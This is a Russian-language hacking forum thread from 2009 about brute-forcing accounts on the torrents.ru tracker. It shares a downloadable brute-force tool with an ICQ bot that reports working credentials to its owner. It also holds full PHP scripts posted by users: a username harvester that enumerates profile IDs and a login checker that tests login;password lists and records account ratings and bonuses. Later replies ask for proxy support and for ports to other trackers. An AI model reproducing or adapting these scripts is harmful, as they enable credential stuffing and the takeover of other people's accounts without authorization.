Форумы Torrents.ru BruteForce

Discussion in 'Уязвимости CMS/форумов' started by Stels™, 20 Feb 2009.

  1. Stels™

    Stels™ Member

    Joined:
    19 Feb 2009
    Messages:
    2
    Likes Received:
    7
    Reputations:
    5
    ::Torrents.ru BruteForce::
    [​IMG]
    Torrents.ru BruteForce - программа для восстановления забытого пароля к своему аккаунту на сайте torrents.ru.
    Как использовать:
    1. Создаём список для брута. Список должен иметь формат вида:
    Code:
    login;pass
    login;pass
    login;pass
    и т.д.
    Для генерации такого списка вполне подойдут uin;pass генераторы:
    - FS Gen
    - Uin Generator by Swift
    - V-ListMaker и др..
    просто вместо uin'ов подставляем логины(проводим путь к файлу с логинами).
    После создания такого списка - в поле напротив Source указываем путь к этому файлу.
    2. напротив Good и Bad - пишем пути к файлам, в который будут скидываться Good(верная пара login;pass) и Bad (неверная) соответственно.
    3. Указываем число потоков.
    В принципе вот и всё:).
    Дополнительные возможности:
    4. ICQ Bot. скидывает гуды хозяину, и оповещает о конце брута со списком гудов. Также в него встроены несколько основных команд - показать статистику, гуды; вкл/выкл брут.
    5. Сохранение текущих настроек программы в файл conf.ini и извлечение их оттуда при запуске. Настройки для ICQ Bot'a нужно вводить там. Наличие файла необязательно.

    PS NemeZz, чувак, спс те, за то что помогал раньше.
    PSS версия бета.
    PSSS оставляем отзывы, пожелания.
    Download (размер torrents_brute.exe - 513 кб)

    Автор не несет ответственности за использование вами данного софта.
     
    7 people like this.
  2. waik

    waik Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    405
    Likes Received:
    163
    Reputations:
    12
    не помешал бы парсер уинов а то брутить некого-))
    А так молодец прогу ещенетестил но идея норм
     
    2 people like this.
  3. Stels™

    Stels™ Member

    Joined:
    19 Feb 2009
    Messages:
    2
    Likes Received:
    7
    Reputations:
    5
    waik, какие ещё уины?)), а насчёт логинов - можно так походить пособирать.
    и вот вобщем ссылка на "исходную" тему - если кому надо, то все обновления брута, логины будут выкладываться там.
     
  4. waik

    waik Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    405
    Likes Received:
    163
    Reputations:
    12
    ну да я про ЛОГИНЫ ,ет омне их самому собирать замаиться !
     
  5. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Если б она еще в трее скрывалась так вообще круто было)
    спс +1)
     
    1 person likes this.
  6. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    [​IMG]

    Парсер логинов, работает на Курле, для использования нужен регнутый акк, в придачу который прилагается. Работает не везде, но у меня с шелла фигачит как ненормальный.
    PHP:
    <?php
    /*
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    <title>Torrent.ru Login Parser</title>
    <style type="text/css">
    <!--
    body,td,th {
        color: #FFFFCC;
    }
    body {
        background-color: #333333;
    }
    .style2 {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        color: #FF0000;
        font-weight: bold;
    }
    -->
    </style>
    </head>
    <body>
    <div align="center">
      <h1>Torrent.ru Login Parser</h1>
    </div>
    */
    set_time_limit(0);
    error_reporting(2047);
    /*********************************
     * @author b3 icq 282258
     * @copyright БЫдлокоденг
     * Собираем логины к torrents.ru
     * 
     * ********************************/
    function ShowForm()
    {
    echo 
    "        <div align=\"center\">
      <table border=\"1\">
        <form method=\"post\">
           
        <tr>
          <td>Login</td>
          <td><input type=\"text\" value=\"RaMms1k\" size=\"20\" maxlength=\"20\" name=\"login\" /></td>
        </tr>
        
        <tr>
          <td>Password</td>
          <td><input type=\"text\" value=\"123qweasd\" size=\"20\" maxlength=\"20\" name=\"pass\" /></td>
        </tr>
        
         <tr>
          <td>From ID</td>
          <td><input type=\"text\" size=\"10\" maxlength=\"10\" name=\"from\" /></td>
        </tr>
        
         <tr>
          <td>To ID</td>
          <td><input type=\"text\" size=\"10\" maxlength=\"10\" name=\"to\" /></td>
       </tr></table>
      <input type=\"submit\" value=\"Login & Parse\" />
      "
    ;
    }    
    if(!isset(
    $_POST['login']) or !$_POST['pass'] or !$_POST['from'] or !$_POST['to'])
    {
        echo 
    "<center>Заполните все необходимые поля!</center><br>";
        
    ShowForm();
        exit;
    }
    $login $_POST['login'];
    $pass $_POST['pass'];
    $from =    $_POST['from'];
    $to $_POST['to'];

    if(!
    is_numeric($from) or !is_numeric($to))
        {
            echo 
    "<div align=\"center\"><span class=\"style2\">Введите в поля FROM и TO цифровые значения ;)</span></div><br>";
            
    ShowForm();
            exit;
        }

    /*******************************[Logon on Forum]**************************************/
    $url "http://torrents.ru/forum/login.php";
    $post "login_username=".trim($login)."&login_password=".trim($pass)."&autologin=on&login=%C2%F5%EE%E4";
    $ua "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
    $ref "http://torrents.ru/forum/login.php";
    $ch curl_init($url);
    curl_setopt($chCURLOPT_USERAGENT$ua);
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    curl_setopt($chCURLOPT_REFERER$ref);
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $res  curl_exec($ch);

    if(
    preg_match('#Вы зашли как:#'$res$matches))
        {
            echo 
    "Удачная авторизация под логином: <b>$login</b><br>";
        }
    else
        {
            echo 
    "Авторизация не удалась =(<br>";
            
    ShowForm();
            exit;
        }
    /*******************************[Parsen Login Names]**********************************/
    $fp fopen("logins.txt","a");

    for (
    $i=$from;$i <= $to$i++) 
    {
        
    $ua "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
        
    $ref "http://torrents.ru/forum/index.php";
        
        
    $ch curl_init("http://torrents.ru/forum/profile.php?mode=viewprofile&u=$i");
        
    curl_setopt($chCURLOPT_USERAGENT$ua);
        
    //curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
        
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
        
    curl_setopt($chCURLOPT_REFERER$ref);
        
    curl_setopt($chCURLOPT_FOLLOWLOCATION0);
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    $res curl_exec($ch);

        if(
    preg_match('#Профиль пользователя: (.*?)<\/h1>#'$res$matches))
        {
            echo  
    "$matches[1]<br>";
            echo 
    str_pad('',1000)."\n";
            
    flush();
            if(
    $i != $matches[1])
            {
                
    fputs($fp,$matches[1]."\r\n");
            }    
        }
            elseif(
    preg_match('#пользователя не существует#'$res$matches))
            {
                echo  
    "Акаунт не существует<br>";
                echo 
    str_pad('',1000)."\n";
                
    flush();
            }
        
    }
    echo 
    "</body></html>";
    fclose($fp);
    ?>

     
    #6 b3, 22 Feb 2009
    Last edited: 22 Feb 2009
    1 person likes this.
  7. MrTrick

    MrTrick Member

    Joined:
    8 Feb 2008
    Messages:
    65
    Likes Received:
    26
    Reputations:
    -1
    torrents ru чекер.

    PHP:








    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  <html xmlns="http://www.w3.org/1999/xhtml">  <head>  <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />  <title>Torrents.ru Checker</title>  <style type="text/css">  <!--  body {      background-color: #333333;  }  .table {      border-top-color: #000000;      border-right-color: #000000;      border-bottom-color: #000000;      border-left-color: #000000;      font-family: Verdana, Arial, Helvetica, sans-serif;      font-size: 10px;      color: #FFCC00;  }  .style1 {      font-family: Verdana, Arial, Helvetica, sans-serif;      color: #CCCCCC;  }  -->  </style>  </head>  <body>  <h2 align="center" class="style1">:: Torrents.ru Checker ::</h2>  <table width="50%" border="1" align="center" class="table">    <tr>      <td>Login</td>      <td>Password</td>      <td>Rate</td>      <td>Bonus</td>    </tr>    <tr>  <?php  set_time_limit(0);  $url 'http://torrents.ru/forum/login.php';  $ua 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4';  $ref 'http://torrents.ru/forum/index.php';   $fp fopen('result.txt','a');  $accs file('accs.txt');  foreach ($accs as $acc) {  list($login,$pass) = explode(';',$acc);  $post 'login_username='.trim($login).'&login_password='.trim($pass).'&login=%C2%F5%EE%E4';  $ch curl_init($url);      curl_setopt($chCURLOPT_USERAGENT$ua);      curl_setopt($chCURLOPT_COOKIEJAR'./cook');      curl_setopt($chCURLOPT_REFERER$ref);      curl_setopt($chCURLOPT_POST1);      curl_setopt($chCURLOPT_POSTFIELDS$post);      curl_setopt($chCURLOPT_RETURNTRANSFER1);      curl_setopt($chCURLOPT_FOLLOWLOCATION1);  $res curl_exec($ch);  $regxp "#<a href=\"profile\.php\?mode=viewprofile\&amp;u=([0-9]{1,8})\"><b class=\"med\">$login#";  if(preg_match($regxp$res$matches))  {          echo '<td>'.$login.'</b> ID:'.$matches[1].'</td>';          echo str_pad('',1024)."\n";      flush();          echo '<td>'.$pass.'</td>';          echo str_pad('',1024)."\n";      flush();          $url_cp 'http://torrents.ru/forum/profile.php?mode=viewprofile&u='.$matches[1];          $ch curl_init($url_cp);      curl_setopt($chCURLOPT_USERAGENT$ua);      curl_setopt($chCURLOPT_COOKIEFILE'./cook');      curl_setopt($chCURLOPT_REFERER$ref);      curl_setopt($chCURLOPT_RETURNTRANSFER1);      curl_setopt($chCURLOPT_FOLLOWLOCATION0);          $res curl_exec($ch);      if(preg_match('#<b class=\"gen\">([0-9]{1,3}\.[0-9]{1,3})<\/b>#'$res$matches))      {          $rate $matches[1];          echo '<td>Рейтинг:<b> '.$rate.'</b></td>';          echo str_pad('',1024)."\n";      flush();          }  else  {      echo "<td>Произошла ошибка =(</td>";      }      if(preg_match('#<td id=\"u_up_bonus\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches))      {      $bonus str_replace('&nbsp;','',$matches[1]);      echo str_pad('',1024)."\n";      flush();      echo '<td>Бонус:<b> '.$bonus.'</b></td></tr>';      echo str_pad('',1024)."\n";      flush();      }  else  {      echo '<td>Oшибка сценария</td></tr>';      echo str_pad('',1024)."\n";      flush();  }  }  else      {          echo '<td>Залогиниться не удалось =(</td><td>=(</td><td>=(</td><td>=(</td></tr>';      }   fputs($fptrim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus."\r\n");   }  fclose($fp);  ?>  </table>  </body>  </html>




    Скрипт использует либу cURL, для работы нужны логин;пасс список в файле accs.txt, результат выводин в браузер и .тхт файл result.txt, вида:
    логин:пароль:рейтинг:бонус
     
    #7 MrTrick, 26 Feb 2009
    Last edited: 26 Feb 2009
  8. X-Venom

    X-Venom Banned

    Joined:
    29 Apr 2008
    Messages:
    569
    Likes Received:
    365
    Reputations:
    21
    из за чего ероры появляются?
    зы еще бы поддержку прокси добавить
     
    #8 X-Venom, 26 Feb 2009
    Last edited: 26 Feb 2009
  9. strelok_just_relax

    strelok_just_relax New Member

    Joined:
    23 Dec 2008
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    а как переписать данный брут для работы на другом трекере? (в моем случае это локальный трекер)
     
  10. BlackDraG

    BlackDraG Elder - Старейшина

    Joined:
    27 May 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    1)У автара взять/купить сорцы.
    2)Попросить переписать брут
    3)Написать свой )
     
  11. X-Venom

    X-Venom Banned

    Joined:
    29 Apr 2008
    Messages:
    569
    Likes Received:
    365
    Reputations:
    21
    у каво какая скорость?
    мая
    [​IMG]
     
  12. X-Venom

    X-Venom Banned

    Joined:
    29 Apr 2008
    Messages:
    569
    Likes Received:
    365
    Reputations:
    21
    гг)
    [​IMG]
     
    1 person likes this.
  13. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    ггг
    [​IMG]
    (C) не я
     
  14. MrTrick

    MrTrick Member

    Joined:
    8 Feb 2008
    Messages:
    65
    Likes Received:
    26
    Reputations:
    -1
    нормальный парсер дайте пожалуйста!
     
  15. 1ce666

    1ce666 Member

    Joined:
    9 Dec 2008
    Messages:
    45
    Likes Received:
    79
    Reputations:
    -4
    А брутить можно трекеры на двиге как на торрентс точка ру ?
     
  16. bosscs

    bosscs Banned

    Joined:
    15 Jun 2008
    Messages:
    93
    Likes Received:
    48
    Reputations:
    0
    Запускаю на деде, немного поработает потом
    [​IMG]
     
  17. NemeZz

    NemeZz Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    102
    Likes Received:
    67
    Reputations:
    3
    TAGI

    Тем, кто пользуется данной софтиной моя программа наверняка придется кстати.
     
  18. Vet

    Vet New Member

    Joined:
    3 Feb 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Не знаю, насколько в тему вопрос..
    А помогите залогиниться на torrents.ru :)
    На Delphi, использую Indy, не получается залогиниться на сайт. Передаю параметры
    PHP:
    Params.Add('login_username=username');
    Params.Add('login_password=password');
    Params.Add('login=');
    Может, там особенности какие есть?
     
  19. Fristail

    Fristail Elder - Старейшина

    Joined:
    25 Oct 2007
    Messages:
    207
    Likes Received:
    145
    Reputations:
    10
    ввели капчу...
     
  20. Vet

    Vet New Member

    Joined:
    3 Feb 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Я и без капчи не мог залогиниться